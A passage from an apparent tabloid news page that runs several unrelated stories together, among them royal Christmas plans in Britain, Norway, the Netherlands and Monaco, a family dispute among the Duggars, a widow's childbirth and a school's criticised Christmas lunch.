wine, crackers and a feast, the Queen will travel by helicopter to Sandringham in Norfolk, where she will spend Christmas. Today sources revealed the Queen will host the annual Royal Family Christmas lunch on Tuesday despite fears over the Omicron Covid variant. (Pictured: The Queen at Ascot in October this year) The annual Christmas lunch will be held at Windsor Castle (pictured) this year, instead of the usual Buckingham Palace Pictured: The Prince of Wales is joined by the Duke and Duchess of Cambridge and their children at the Church of St Mary Magdalene on December 25, 2019 The Royal Family will later join her there on Christmas Eve and gather on December 25, as is tradition, before visiting St Mary Magdalene Church. A source told the Sun: 'Currently it is going ahead but obviously it will be under review right up until the last moment.' The Queen is currently residing in Windsor Castle, where she remains on 'light duties' following multiple health scares in recent weeks. An insider added: 'It is Windsor Castle so it will be pretty easy to socially distance if needed. There is no way the Queen wants to let anything get in the way of a family event like this. 'Particularly with the year she has had after losing her husband and being forced to go on light duties on doctor's orders. It will likely be the first time so many family members have been together since Philip's funeral. 'But obviously everyone must act responsibly and things can change in a short period of time but as it stands they're all set for Tuesday.' The Royal Family will join the Queen at Sandringham (pictured) on Christmas Eve and gather on December 25, as is tradition, before visiting St Mary Magdalene Church An ITV film crew recorded the Queen's Christmas Day address several weeks ago. The Mail reported last week that palace aides were also exploring options for the monarch to appear in public in the run up to December 25 to wish the country a very happy Christmas. Although photographs and videos have been released by Buckingham Palace of the sovereign undertaking in-person and virtual audiences with foreign ambassadors, dignitaries and the Prime Minister, all meetings have taken place behind palace walls. The hope is that the Queen will be well enough to take part in a short public engagement in the castle grounds. Her appearance will be seen as a 'small shot of joy' in difficult times. 'It won't be a normal Christmas, but like many families around the country, it will be as normal as it can get,' a source said. The Queen was last seen in public at a Windsor Castle reception on October 19. The next day, she cancelled a trip to Northern Ireland and was taken to hospital overnight for undisclosed 'preliminary tests'. She was ordered to rest for several weeks and since then has undertaken a small number of low-key engagements, including recording a video message for the Cop26 summit. Another royal star has taken off this week, with Princess Ingrid Alexandra of Norway co-piloting a plane during a tour of a royal air force base. The 17-year-old royal, who is the daughter of Crown Prince Haakon of Norway and Crown Princess Mette-Marit, and second-in-line to the throne, took a ride on a F-16 fighter jet during the visit to the Bod base on Saturday. The royal has been touring several army and air force bases in Norway to learn more about the country's armed forces. When she ascends the throne, she will become commandant of Norway's armies. Seating in the backseat of the jet, the teenage princess observed as a trained pilot flew it away from the base, and later was allowed to control it briefly during a flight over Northern Norway. The flying demonstration saw Ingrid Alexandra follow into the footsteps of her father, who co-piloted a F-16 Falcon in 1991. Princess Ingrid Alexandra of Norway, 17, pictured, co-piloted a f-16 plane during a visit to the royal air force base of Bod on Saturday Dressed in a full uniform, the princess was greeted at the base by General Rolf Folland, who leads the Norwegian Royal Air Force, which is called the Luftforsvaret. During her visit, she was briefed about Norway's armed forces'mission statement, and learned more about the QRA - Quick Response Alert - where F-16 planes can be ready to fly in just 15 minutes to intercept foreign planes on NATO missions. The royal went through a 'thorough' medical exam before she hopped on the plane. Sitting on the F-16's backseat, she was allowed to take control of the plane and pilot it as it flew over Northern Norway. Ingrid Alexandra took off in the plane, pictured, and took control of it as it flew over Northern Norway Ingrid Alexandra is preparing herself to take on royal duties after a childhood spent largely away from the spotlight. F-16 are being phased out of Norway's air force and will be replaced by F-35, meaning it will probably e the last time a member of the royal family is allowed to fly in one. Earlier this year she visited a female-only squadron of the army to learn more about their work. She has a brother, Prince Sverre Magnus, who is 16, and ranks above him in the line of succession due to the rule of absolute primogeniture, which states that the firstborn of the Crown prince will succeed him, regardless of gender. The Norwegian royal has kept a low profile growing up, attending a local state primary school, which was attended by her half brother, Marius Borg Hiby, whom Mette-Marit had before she married Prince Haakon. Her parents wanted her to have as normal a childhood as possible, and Ingrid would walk to school with her half brother. Her godmother is Crown Princess Victoria of Sweden, and Ingrid Alexandra was one of her bridesmaids at her 2010 wedding. The royal dressed in pilot gear and seemed enthusiastic to follow into her father's footsteps. Crown Prince Haakon of Norway flew a F-16 plane in 1991 During her teenage years, she attended the private English school Oslo International School so she could become fluent in English, and later attended the Elvebakken Upper Secondary School in Oslo. Turning 18 on January 21, Ingrid Alexandra has been stepping in with her father, Crown Prince Haakon of Norway, the son of King Harald and Queen Sonja, to take on more royal responsibilities. This summer, she looked solemn as she and her father laid a wreath on Utoya island as Norway marked ten years since Anders Breivik killed 77 people in the country's worst ever massacre. King Harald, 84, and Queen Sonja, also 84, have been reigning over Norway for 30 years after ascending the throne in 1991. Ingrid Alexandra listened carefully as she was briefed about how the armed forces of Norway;s mission statement, pictured The royal looked serious as she put on her helmet, pictured, before hopping on the F-16 plane on Saturday Queen Maxima turned heads in a stylish winter look as she visited small businesses today. The Dutch Queen, 50, visited Geertruidenberg to lend a compassionate ear to coffee shops and catering businesses owners to find out how they were coping with the Covid-19 crisis. The Netherlands has been recording 16,000 new coronavirus cases on average per day as Europe is experiencing a rise in infections. Always impeccably turned out for her royal engagements, Maxima picked a coffee-coloured shirt dress she paired with a midnight blue cape for today's visits. Queen Maxima of the Netherlands, 50, lent a compassionate ear to coffee shops and catering businesses owners whom she met in Geertruidenberg to find out how they were coping with the Covid-19 crisis today The mother-of-three donned a stylish coffee-coloured dress with knee-high black leather boots and gloves and a midnight blue cape The mother-of-three looked stylish, with a large black leather belt accentuating her slim waist. She matched it with black leather gloves and knee-high boots, as well as a black leather clutch bag. With temperature around the country reaching a lukewarm 10 degrees, Maxima wrapped up in the long cape, but later took it off as she hopped from one business to the next. Wearing a face covering inside on par with social distancing guidelines, the Dutch Queen looked glamourous with a dash of bronzer enhancing her healthy glow, and a trait of eyeliner bringing drama to her hazelnut gaze. Maxima enjoyed a drink as she sat down with its owners to hear about how they coped with the pandemic, pictured Her lips were a discreet berry pink and her eyebrows were carefully sculted. Her blond tresses were styled in a straight, natural blow-dry, and her locks were casually tucked behind her hear. Maxima, who is known for her love of accessories, was wearing a pair of statement earrings in black, but kept the rest of the look simple, and only wore her watch, and the bracelet holding hers and the initials of her daughters, Amelia, Alexia and Ariane. She first stopped by a cafe Huis ten Bos, where she sat down with its owner to hear how the coronavirus pandemic had affected their business. On par with coronavirus guidelines, the Monarch wore a face mask, pictured. She looked glamourous and cheerful during her busy day with engagements A text from Willem-Alexander? The mother-of-three stopped to check her phone before heading into the cafe She enjoyed a drink at the cafe before heading to a catering business next door. She then headed to the Fort St. Gertrudis restaurant, where she once again listened to its owners and staff as they talked her through how they were coping with the Covid-19 pandemic. In order to attend some of the venues, Maxima had to show a covid pass that proved she was vaccinated. Covid passes are not mandatory in the Netherlands, but some venues can ask to see a QR code and proof of negative Covid tests or vaccinations certificates. Maxima was her usual cheerful self as she toured Geertruidenberg and was greeted by enthusiastic royal fans. Last week, the spotlight was on the mother-of-three's eldest daughter Princess Amalia of the Netherlands, who stepped into her public role for the first time after celebrating her 18th birthday on December 7. She attended a meeting of the The Council of State at The Binnenhof in the city centre of The Hague with her parents. Starstruck local children greeted the Monarch in Geertruidenberg this afternoon, pictured right with their mother Diligent Maxima showed her Covid pass as she entered one of the catering businesses she visited today The future Queen's milestone birthday marked her stepping into a more public role, with the Dutch royal family announcing the news she would be given an honorary seat on the board. The advisory board provides independent advise to the government and parliament on legislation and governance and is the highest general administrative court in the country. King Willem-Alexander has a seat on the council, although he does not take part in any of its activities. Queen Maxima also has a seat and acts in an advisory role. Teenage Amalia said she would ask her Argentine-born mother, Queen Maxima, 50, to step in temporarily if her father, King Willem-Alexander, 54, were to die suddenly, in a new biography marking her birthday The biography, simply titled 'Amalia', was written with the approval of the Royal Family. It offers a rare glimpse into the princess's private life, which has been closely guarded by her parents since Willem-Alexander ascended the throne in 2013. Jill Duggar's husband Derick Dillard has written his most scathing criticism of Jim Bob Duggar yet, accusing the reality TV patriarch of lying, being verbally abusive, and using 'manipulation and deceit' that has led to 'what is akin to human trafficking.' Derick, 32, pulled no punches with his latest critique of his father-in-law, which he posted on Facebook just hours before Jim Bob, 56, suffered an embarrassing loss in his run for Arkansas State Senate on Tuesday, securing just 456 votes. 'I used to have much respect for Jim Bob, as my father-in-law, and I wanted to give him the benefit of the doubt for years,' Derick wrote early Tuesday afternoon. 'Unfortunately, its only become clearer to us over time just how deep this mans manipulation and deceit will go for his own gain, at the expense of others. He has lied to my wife and I numerous times.' Jill Duggar's husband Derick Dillard has written scathing criticism of Jim Bob Duggar, accusing the reality TV patriarch of lying, being verbally abusive, and using 'manipulation and deceit' Derick posted on Facebook just hours before Jim Bob (pictured smiling outside his son's child porn trial) suffered an embarrassing loss in his run for Arkansas State Senate on Tuesday 'Contrary to his campaign, he does not believe in freedom, but his manipulation has resulted in what is akin to human trafficking,' Derick wrote Derick continued: 'Contrary to his campaign, he does not believe in freedom, but his manipulation has resulted in what is akin to human trafficking. 'When confronted privately, he is not humble, but he is defensive and verbally abusive,' he went on. 'When he says he cannot be bought, the truth is that he has a history of being a sellout to anything that he can personally profit from, and he will justify it however he wants to continue his personal agenda. 'Again, if he has lied and continues to lie to his best friends and his own family, will he LIE to YOU?!' he concluded. Derick's shocking rebuke was left as a comment on a post by Jim Holt, a former close friend of Jim Bob. Holt and his wife, Bobye, were previously members of Institute in Basic Life Principles (IBLP), the same fundamentalist Christian organization that the Duggars belong to. Derick's eviscerating comments came in response to a post by Jim Bob's former friend Jim Holt, who also had strong words about Jim Bob As a teenager, Josh had been bethroed to the Holts' daughter, but the relationship ended when Josh's sexual abuse came to light. Jim's wife, Bobye, testified at Josh's trial Derick, who recently graduated from law school, had also endorsed Jim Bob's opponent, Colby Fulfer, iun the State Senate Disctrict 7 election Jim Bob's eldest son, Josh, 33, is pictured smiling in his mug shot after being convicted of receiving and posessing child pornography Their relationship appears to have fractured around 2005 due to Josh's molestation of his four younger sisters, which he had shared with the Holts. As a teenager, Josh had been bethroed to the Holts' daughter, but the relationship ended when Josh's sexual abuse came to light. In fact, Jim's wife Bobye testified in Josh's trial, recalling details of the sexual abuse he admitted to inflicting on his sisters and how at one point, Bobye told Jim Bob and Michelle about something Josh admitted to doing, but 'they said they didn't want to hear it.' The ordeal left its mark on the Holts, and on Tuesday, Jim also condemned him and warned others about voting for him. 'Jim Bob Duggar lied to me about the truth of his son when asking to court our daughter,' he wrote. 'When he says he cannot be bought, the truth is that he has a history of being a sellout to anything that he can personally profit from, and he will justify it however he wants to continue his personal agenda,' Derick wrote 'Its only become clearer to us over time just how deep this mans manipulation and deceit will go for his own gain, at the expense of others,' Derick said of Jim Bob (pictured with Michelle) 'It was clear he perjured himself on the witness stand at the evidentiary hearing on November 29, 2021,' he went on. 'Jim Bob was always conservative in many areas when I served with him from 2001-2002. The problem I have is... If he lied to his BEST FRIEND and he lied UNDER OATH, will he lie to YOU?' That condemnation sparked a reply from Derick, who wrote: 'Its sad that this isnt an isolated incident.' Derick also shared the message on his own page, adding: 'This is telling, coming from former Senator Jim Holt! He knows what hes talking about.' Derick, who recently graduated from law school, had also endorsed Jim Bob's opponent, Colby Fulfer, iun the State Senate Disctrict 7 election. Fulfer, who received 46.67 percent of the vote, will now face off against Steve Unger, who won 31.6 percent of the vote, in a runoff election. Derick, along with Jill, also released a statement last week condemning her brother Josh upon his conviction for child pornography charges In what appears to be a dig at Jim Bob, Jill and Derick wrote, '[h]e who justifies the wicked and he who condemns the righteous are both alike an abomination to the Lord. (Proverbs 17:15)' Jim Bob, who came in at a distant third place, has addressed the loss with a brief statement. Derick, along with Jill, also released a statement last week condemning her brother Josh upon his conviction for child pornography charges, in which they shared their agreement with the verdict as well as what was seen as a dig at Jim Bob. 'Moreover,' Jill and Derick wrote, '[h]e who justifies the wicked and he who condemns the righteous are both alike an abomination to the Lord. (Proverbs 17:15).' While Jill and her father have a strained relationship wherein Jill is not allowed to visit the family home without his permission, Josh has lived in a property on the family estate and has unfettered access to the house. They continued: 'We have been lied to so much that we wanted to hear the evidence for ourselves in court. After seeing all the evidence as it was presented, we believe that the jury reached a just verdict today, consistent with the truth beyond a reasonable doubt.' Daddy dictator? Derick has made it clear he doesn't think much of Jim Bob, accusing him of using a heavy hand in administering the lives of his adult children Previously, he has seemed to accuse Jim Bob of using 'scare tactics' as well as 'threats' to control him and Jill Jill used to be quite close with her father, but their relationship has been strained for years While Derick's condemnation this week is his strongest yet, he has been quite clear about his feelings in the past and his intention that Jim Bob's behavior be brought to light. Derick's Twitter activity picked up almost immediately after Josh was arrested on April 29 of this year. He liked several other people's tweets, including one that read: 'Jim Bob keeps the children complaint thru financial/emotional abuse.' Derick and Jill had stopped filming the family's reality show Counting On in 2017, and he indicated that some of her siblings may have wanted to stop, too but were given a hard time. 'We were told to not talk to the others about what we learned. And based on our history, I dont know what scare tactics are used on the others to keep them compliant,' Derick tweeted. 'We pushed back for a long time & pretended like there was nothing wrong on the outside before we finally got to the place where we quit. Everyone has their own context, including timeline, incentives, fears/threats, information, etc. that they must operate within.' Derick also told Instagram commenters that he and Jill were 'humiliated and threatened' when they said they didn't want to film the family reality show anymore Derick even compared Jim Bob to Jeffrey Epstein, saying that the latter 'showed us that if you have enough money, power, and influence, you can get away with anything' Derick reiterated a past claim that only Jim Bob ever had contracts with TLC. He has previously said that only Jim Bob was paid Controlled: He also suggested that Jill's siblings may be facing similar pressure He said something similar in July of 2020, tweeting: '[The show is] still under {Jim Bob's] control. And he will attack the victims if they threaten his show. 'We were humiliated and threatened when we first tried to not film,' he added. 'Now its not dependent on us anymore to keep the show going because more kids got married, so it's more OK if we quit.' He also made compared Jim Bob to Jeffrey Epstein. 'Jeff Epstein already showed us that if you have enough money, power, and influence, you can get away with anything. Sadly, it doesnt stop with him,' Derick wrote. 'There are many more stories in this world that are not too different, existing in a culture where it can still thrive.' Among Derick's other comments were that he doesn't have issues with the rest of Jill's family 'just the "boss"' and that Jim Bob tried to get him to sign an NDA in 2019. He has also claimed on numerous occasions that none of the adult children had their own contracts with TLC. Rather, he said, only Jim Bob has had a contract, so only Jim Bob was paid by the network. The Duchess of Cornwall showed her festive side today as she welcomed seriously ill children to Clarence House for a 'magical' Christmas treat today. Camilla, 74, sported a white coat dress, her signature black boots and fetching owl broach as she opened the doors of her London home to ten excited youngsters from Helen & Douglas House children's hospice and Roald Dahl's Marvellous Children's Charity. The children were invited to decorate her Christmas tree, enjoy a lunch of sausages and mash - served up by the royal herself - and treated to festive tunes by the Band of the Welsh Guards. There was also a very special surprise in the form of a video message from children's television star Mr Tumble - and even a royally-approved goodie bag to take home. The duchess has held the festive gathering for the last 16 years but was bitterly disappointed to be forced to do it virtually last December due to lockdown. The Duchess of Cornwall proved she welcomed seriously-ill children to Clarence House for a 'magical' Christmas treat today. She is pictured helping a little boy try on a bearkin Putting the star up! Camilla had some assistance from Captian Ed Andresen of the Welsh Guards to put star on top of the tree This year, after careful consultation with the charities, they decided to go ahead with it in person again amid strict Covid protocol, including lateral flow tests for all those involved. 'It wasn't the same without you' smiled Camilla as the doors opened the the youngsters came in, one by one. She added to reporters: 'It's just magical to have them here. Such a special, special event for me. It makes my year.' They were greeted by her equerry, Captain Edward Andersen of the Welsh Guards, resplendent in his bearskin, who invited the first child, Nathan Best, ten to pick a decoration, before placing it on his sword and attempting to place it on the tree. 'This is Ed here,' explained the duchess, sporting an elegant cream dress. 'He's going to help you decorate the tree. And if you ask really nicely, he might let you try on his bearskin. ' The duchess has held the festive gathering for the last 16 years but was bitterly disappointed to be forced to do it virtually last December due to lockdown This year, after careful consultation with the charities, they decided to go ahead with it in person again amid strict Covid protocol, including lateral flow tests for all those involved Duchess of Cornwall, with assistance from Captian Ed Andresen of the Welsh Guards, invites children to help decorate the Clarence House Christmas Tree Nathan, from Bambury, Oxfordshire, who suffers from Prader-Willi syndrome and other complex medical disorders, placed the first decoration on himself and then watched intently as Captain Andersen tried to place his decoration on for him - failing at his first attempt but managing on his second. 'This is a tricky one!' he laughed. Oscar Richards, seven, who suffers from severe epilepsy, shyly asked to try on Captain Andresen's bearskin. Camilla eagerly grabbed it from his head band placed it on Oscar's. 'Is that quite heavy?' she asked. 'There we are!' Ahuoyiza Okino, ten, who has sickle cell and was with her Roald Dhal nurse, Elizabeth Joshua-John, wanted to go one better - and asked to use Captain Andersen's sword herself. He and Camilla carefully accompanied her to the tree. 'Oooh, careful, there you go,' said Camilla. Spotting another little boy eyeing up the bearskin, Camilla introduced him to her equerry. The children were greeted by her equerry, Captain Edward Andersen of the Welsh Guards, resplendent in his bearskin, who invited the first child, Nathan Best, ten to pick a decoration, before placing it on his sword and attempting to place it on the tree. Pictured are guests speaking to Camilla Camilla walked around handing out plates of food herself as the children tucked in. Her private secretary then told their guests they had a very special surprise - a personal video message from children's television legend Mr Tumble himself Ready to protect the Queen! One little boy tried on a bearskin - the helmet worn by Queen's Guard - with the help of Camila 'It's quite hot under there isn't it? She said. She also teased Captain Andersen when another child insisted they wanted to put their decoration on the tree themselves. 'Oh dear you have been declined,' she told him. 'No surprise, he's seen my work!' the solder replied. Afterwards the youngsters were invited into the dining room for sausages and mash - created in the shape of smiley faces - and all sorts of sweet treats. Camilla walked around handing out plates of food herself as the children tucked in. Her private secretary then told their guests they had a very special surprise - a personal video message from children's television legend Mr Tumble himself. The youngsters gazed goggle-eyed as a video was played for them on the screen - laughing uproariously at his antics - before they were filmed wishing him a very happy Christmas in return. Her Royal Highness became Patron of Helen & Douglas House in 2007. She is also patron of Roald Dahl's Marvellous Children's Charity, which provides specialist nurses and support for seriously ill children. Duchess of Cornwall, with assistance from Captian Ed Andresen of the Welsh Guards, invites children to help decorate the Clarence House Christmas Tree at Clarence House William and Kate's Together at Christmas message Camilla's visit with children comes as William and Kate shared a sweet message on their Instagram page. They wrote: 'The past 18 months has been an incredibly difficult time for people across our nation, and particularly for those who might be more vulnerable, isolated or have limited access to support. #TogetherAtChristmas was a moment to recognise those who have struggled during the pandemic, as well as to celebrate the individuals and organisations who carried out inspirational acts of kindness and incredible feats to help those in need in our communities. We wanted to share some of the stories of those who attended last weeks service: Daisy Briggs, dealing with spina bifida and told she may never walk, Daisy used her frame to walk for 25m a day, dressed in a different colour of the rainbow, and raised over 23,000 for NHS Charities Together. Gary Rutherford, who overcame addiction to qualify as a mental health nurse, before going on to set up the ARC Addiction Recovery Coaching and Fitness Programme. Gary maintained the service during the pandemic through Zoom and online, going above and beyond to help addicts recover and integrate back into their communities. Rohima Poosch is a care leaver, and a graduate of the Foundling Museum's traineeship, who has worked at the museum for five years running workshops for children. During lockdown, Rohima was struggling - living by herself was hard on her mental health, but now she is focusing on her future and is very driven to succeed. Janette Thorne, who volunteered every day to collect and distribute surplus food from local supermarkets and other donors, collected prescriptions, and as part of a team delivered over 10,000 bags of free school meals, making sure children were fed during the first lockdown and in the months thereafter. Kirsteen McDonagh, who as a health visitor works with some of the most vulnerable families, supporting those affected by homelessness as well as vulnerable women and children, ensuring they have access to the health and care services they need. Advertisement Camilla then spoke to the children, telling them: 'I just wanted to say how thrilled I am that you are able to come here today. Having missed out on last year, as you know I did it on Zoombut the joy of getting you all back again this year is wonderful. 'I didn't think it was going to happen at times, but thank goodness you all decided to come. I just really wanted to wish you all a very merry Christmas and I have got a bit of a star here who would like to sing you a song which he sung to me last year on Zoom brilliantly.' She then took Nathan Best by the arm and helped him to his feet as he sang and signed 'We Wish You A Merry Christmas', bringing tears to the eyes of the staff. 'Brilliant!' said Camilla, before Nathan gave her a bouquet of flowers. Clare Periton, CEO of Helen & Douglas House, a children's hospice in Oxfordshire, told the duchess: 'On behalf of both of the charities we are so pleased to be here. This is something that makes memories for all, our children, is is so very very special. Thank you for your hospitality, your generosity. I think we have all had a dark 18 months and this has been a shining star, so thank you so much.' Speaking afterward Ms Periton said: 'I can't quite believe we are here, I really can't. Even last night I was thinking 'is this going to happen?' And I think having the children be able to come in person has been so special. It is absolutely about making memories for them. This is magical, special and I think something that will sustain them through difficult times for a long time to come. 'The last 18 months have been so difficult and isolating for these family, really lonely. They have lost a lot of their support networking through shielding. So it was so lovely for them to be with other families who have experienced the same. 'We have taken every precaution there is to ensure they have a safe as well as happy day.' Star of the day Nathan said he had 'loved' the day, while his parents, Stuart and Jenny Best said it had been a 'highlight in a difficult year'. 'It has been a very tough and lonely time. We shielded for nine months and then we all got Covid. We prepared for the worse. But Nathan smashed it. He is such a joy. The hospice offers him respite care and he can't wait to go and stay there. 'We can't thank the duchess enough for inviting us here. It has meant a lot.' Helen & Douglas House was the world's first children's hospice when it opened in 1982 and cares for local terminally ill children and their families from Oxfordshire and the surrounding counties. They provide medical, emotional and practical support, helping families deal with the implications of living with a child who will die prematurely, so they can make the most of their time together. Her Royal Highness became Patron of Helen & Douglas House in 2007. She is also patron of Roald Dahl's Marvellous Children's Charity, which provides specialist nurses and support for seriously ill children. Its network of 82 Roald Dahl Nurses operate across the UK and they provide expert help and support to over 24,000 children and their families every year. A Connecticut woman has revealed that she gave birth to her second child and lost her husband to cancer within hours. Haley Parke, 28, was three weeks away from her due date when she and her husband Jb Parke received some terrible news: Jb, who had been diagnosed with cancer in January, was declining faster than expected and had just days left to live. Determined that Jb should get to meet his son, doctors induced labor and then performed a C-section on Haley, bringing baby John Beeson Parke also known as baby Jb into the world just in time to lay on his father's chest while he took his last breaths. A Connecticut woman gave birth to her second child and lost her husband to cancer on the same day Haley Parke, 28, gave birth to a baby boy via C-section while her husband lay dying in an ICU room nearby Jb had been diagnosed with cancer in January of this year. Shortly after, the couple who had been married three years and also had an 18-month-old son conceived a second son. As they drew closer to the due date, Jb's condition worsened, and he was given a prognosis of six months. Then, on November 28, he was admitted to Hartford Hospital with complications from his cancer. Within days, they were told that his six-month prognosis was now turning into a matter of days. 'The doctor told us cancer had spread to his lymph nodes. His lungs were filled with fluid,' she told Today. Haley wrote about what happened next in an emotional Facebook post. 'With our second sons due date three weeks away, my husband and I knew asking for an induction was the right thing to do,' she wrote. Jb Parke was diagnosed with cancer in January, and late last month was admitted to a Connecticut hospital and told he had just days left to life 'Without hesitation, the team of ICU doctors communicated with the head of high risk labor and delivery doctors. They offered me an induction as soon as I was ready. 'I kissed my sweet husband goodbye and told him to be strong and hold on for me and the baby he said he would,' she went on. They began the induction process the night of December 1, but Haley's labor didn't progress quickly enough, and at 8 a.m. on December 2, doctors came in with a change of plans. Haley says they told her: 'Jb was declining fast and had a matter of a few hours. It was either a C-section right at that moment, or Jb would not have the opportunity to meet our son. 'With out a question in my mind, I said Lets go and we did just that,' she wrote. 'In a matter of literally one minute, I was in the OR, and in just a short 20 minutes later, our son was born. 'He was given to me for a quick kiss, and then a team of doctors and nurses ran him up two floors, and he was placed on his daddys chest.' Doctors induced labor so Jb could meet his son before he died, and when it didn't progress quickly enough, they performed a C-section The baby was whisked up to Jb's ICU room and placed on his chest, and after Haley was stitched up, she was also wheeled to his room Haley said they then experienced a miracle: 'When our baby was placed on Jbs chest, Jbs vitals all instantly improved. He was also acknowledging our son was there by making small head movements and sweet moans.' Doctors stitched Haley up and then wheeled her bed into Jb's room, placing her beside him. 'I spent my recovery time gazing at my husband. I was gazing at him in sadness, but in awe of his strength,' she wrote. 'He took his last breaths with our son on his chest and my hand in his hand.' Though an early delivery can mean complications and a stay in the NICU, baby Jb was born weighing a healthy 7 lbs. 4 oz., with fully-developed lungs. 'From the OR to the ICU room, there were what felt like hundreds of doctors and nurses floating us through this process effortlessly. Not one of them having a dry eye the entire time,' Haley wrote. In an emotional Facebook post, Haley (pictured with their other son) said Jb died while she held his hand and the baby - also named Jb - was on his chest 'Some of them told me theyll never forget this act of selflessness. Some called my actions brave and heroic. I just call it love. I acted out of love. I put my trust in God that this was part of his plan, and I did what I had to do, out of love, to fulfill my husbands last wish. 'Up until the moment of induction, we had not had names picked out. I knew in my heart it was only right to honor my husband. So, it is my pleasure to announce the birth of our brave, amazing son, John Beeson Parke (Jb). Speaking to Today, Haley said described experiencing 'both my greatest grief and my greatest joy' at the same time. A GoFundMe has been set up for the family. School has now apologised and offered a refund to students, blaming supply chain issues and Covid-related staff shortage One said that their dog 'eats better for half the price' after snaps went viral HAVE YOU BEEN SERVED A DODGY CHRISTMAS DINNER? Have you been served a dodgy Christmas dinner? Email stewart.carr@mailonline.co.uk Advertisement A school that served a tiny piece of turkey and stuffing in a bap with a single pig in blanket and mini roll for their 3.50 Christmas lunch has apologised after parents complained it was like 'something from Oliver Twist'. Steyning Grammar School in West Sussex faced the furore of local parents who shared photos online of the measly dinner served to pupils as part of a special Christmas celebration. One said that their dog 'eats better for half the price' while another added it was 'pathetic' and the school should 'hang their heads in shame'. Other parents also shared snaps of a very similar looking meal at the nearby Bohunt Academy in Worthing. Both schools are part of the Bohunt multi-academy trust. A school that served a tiny piece of turkey and stuffing in a bap with a single pig in blanket and mini roll for their 3.50 Christmas lunch has apologised after parents complained it was like 'something from Oliver Twist' Steyning Grammar School in West Sussex faced the furore of local parents who shared photos online of the measly dinner served to pupils as part of a special Christmas celebration The school has now apologised and offered a refund to students, blaming supply chain issues and Covid-related staff shortages as pupils called the offering 'rubbish' and 'gross, cold and soggy'. Sharing a picture of the dinner to Facebook, Dad Adrian Davey wrote: ' This is the #christmasdinner that Bohunt Education Trust Bohunt School charged us 3.50 for 'It's like something from Oliver Twist, I wonder what the management are eating? 'What further proof do you need that #academies are businesses 'Probably dining out on our children's money. Another parent wrote: ' My two boys had their Christmas Lunch at school today and got served this Bohunt Education Trust is this acceptable and worth 3.50 each? The school has now apologised and offered a refund to students, blaming supply chain issues and Covid-related staff shortages as pupils called the offering 'rubbish' and 'gross, cold and soggy' Other parents also shared snaps of a very similar looking meal at the nearby Bohunt Academy in Worthing. Both schools are part of the Bohunt multi-academy trust. 'I emailed the school this morning and have since spoken to one of the heads and a full refund has been given. They apologised and said it was down to shortages in the kitchen due to staff isolating. He added that 'he wouldn't give it to his dog' and that his 'pets eat better'. 'I'm not a happy dad this evening it tasted awful apparently,' he added. ''That's disgraceful. They should have been too embarrassed to serve that,' one parent commented. Sharing a picture of the dinner to Facebook, Dad Adrian Davey wrote: ' This is the #christmasdinner that Bohunt Education Trust Bohunt School charged us 3.50 for Speaking to the Mid Sussex Times, mum Melanie Leogue said: 'The children had nothing last year and it's a shame the school did not make more of an effort for them as they have had it so tough.' In a letter to parents, associate headteacher Natasha Nicol said 'As you might be aware, the Christmas lunch menu yesterday was not of the standard that we would want or expect at SGS. 'Due to a combination of unforeseen supply chain issues and COVID related staffing shortages, our planned offer was affected at very short notice. 'I would like to unreservedly apologise for this situation.' Princess Charlene of Monaco's seven-year-old twins Prince Jacques and Princess Gabriella have attended a traditional Christmas event without their mother - as she remains in a treatment facility. The siblings were joined at the Christmas tree ceremony at the Monaco Palace by their aunt Princess Stephanie, 56, and her daughter Camille Gottlieb, 23. Last night, they'd also attended a film premiere, organised by the Prince Albert II Foundation, alongside their father Prince Albert. At last year's Christmas tree ceremony, Charlene debuted a dramatic half-shaved haircut when attending alongside her children, whose seventh birthdays' she missed after being admitted to a treatment facility with 'emotional and physical exhaustion'. Prince Albert revealed last month his wife had been admitted to a European treatment facility within days of her return to Monaco following a 10-month absence in her native South Africa. He said she is suffering from 'exhaustion, both emotional and physical', while friends recently told Page Six that the mother-of-two 'almost died' while she was in South Africa. Princess Charlene of Monaco's seven-year-old twins Prince Jacques and Princess Gabriella (pictured centre) have attended a traditional Christmas event without their mother - as she remains in a treatment facility The siblings were joined at the Christmas tree ceremony at the Monaco Palace by their aunt Princess Stephanie (pictured), 56, and her daughter Camille Gottlieb, 23 Attending today's festive occasion, the twins looked typically stylish, with Gabriella sporting a floral and cream ensemble, while her brother (pictured right) donned a green coat At last year's Christmas tree ceremony, Charlene (pictured at the time) debuted a dramatic half-shaved haircut when attending alongside her children, whose seventh birthdays' she missed after being admitted to a treatment facility with 'emotional and physical exhaustion' Attending today's festive occasion, the twins looked typically stylish, with Gabriella sporting a floral and cream ensemble, while her brother donned a green coat. Their aunt Princess Stephanie appeared just as fashionable in a check red jacket teamed with a matching high-neck jumper. Her daughter Camille looked low-key in a black ensemble with floral detailing. All four members of the royal household were wearing face masks at the festive event. Last night, the twins donned all their finery when attending a film premiere alongside their father Prince Albert. Prince Albert revealed last month his wife Charlene had been admitted to a European treatment facility within days of her return to Monaco following a 10-month absence in her native South Africa. Their aunt Princess Stephanie appeared just as fashionable in a check red jacket teamed with a matching high-neck jumper (pictured together) All four members of the royal household were wearing face masks at the festive event. Pictured, Princess Gabriella Princess Stephanie's daughter Camille looked low-key in a black ensemble with floral detailing. Pictured, Princess Gabriella Princess Gabriella of Monaco, Princess Stephanie of Monaco and Prince Jacques of Monaco attend the traditional Christmas tree ceremony Prince Jacques of Monaco attends the inauguration of the traditional Christmas tree ceremony as part of the Christmas holiday season, at the Monaco Palace, in Monaco Last night, the twins donned all their finery when attending a film premiere alongside their father Prince Albert. Pictured, Princess Stephanie of Monaco and Prince Jacques of Monaco At the time he ruled out cancer, Covid and plastic surgery as the cause of his wife's problems. He said she is suffering from 'exhaustion, both emotional and physical', while friends recently told Page Six that the mother-of-two 'almost died' while she was in South Africa. The royal missed the seventh birthday of her twins Gabriella and Jacques but shared photos of the celebration on Instagram on Thursday, writing: 'Happy birthday my babies. Thank you God for blessing me with such wonderful children. I'm truly blessed. Love mom.' Speaking to Page Six, a source described as the royal's friend said: 'It is unfair that she is being portrayed as having some kind of mental or emotional issue. They attended the film premiere, organised by the Prince Albert II Foundation, alongside their father Prince Albert (pictured centre) 'We don't know why the palace is downplaying that she almost died in South Africa.' The source explained the royal had a severe ear, nose and throat infection, which resulted in 'severe sinus and swallowing issues stemming from an earlier surgery'. The friend added: 'She has not been able to eat solid food in over six months because of all the surgeries she has since gone through. She has only been able to take in liquids through a straw, so she lost nearly half her body weight.' Elsewhere friends of Princess Charlene gave Tatler a rare insight into what the royal is really like, insisting that the former swimmer is a force to be reckoned with. The royal (pictured upon her return to Monaco) missed the seventh birthday of her twins Gabriella and Jacques One source rubbished any public perception that Charlene is 